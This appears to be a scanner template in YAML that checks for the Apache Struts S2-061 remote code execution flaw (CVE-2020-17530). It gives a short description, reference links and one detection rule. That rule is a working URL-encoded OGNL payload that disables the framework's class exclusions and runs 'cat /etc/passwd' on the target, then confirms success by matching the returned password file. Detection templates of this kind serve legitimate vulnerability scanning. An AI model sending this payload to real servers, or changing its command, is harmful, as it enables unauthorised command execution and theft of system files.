CVE-2020-17530: Apache Struts 2.0.0-2.5.25 - Remote Code Execution S2-061

id: CVE-2020-17530

info:
  name: Apache Struts 2.0.0-2.5.25 - Remote Code Execution S2-061
  author: pikpikcu
  severity: critical
  description: Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.
  reference:
    - http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html
    - http://jvn.jp/en/jp/JVN43969166/index.html
    - https://cwiki.apache.org/confluence/display/WW/S2-061
    - https://security.netapp.com/advisory/ntap-20210115-0005/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17530

rules:
  r0:
    request:
      method: GET
      path: /?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D
    expression:  '"root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)'
expression: r0()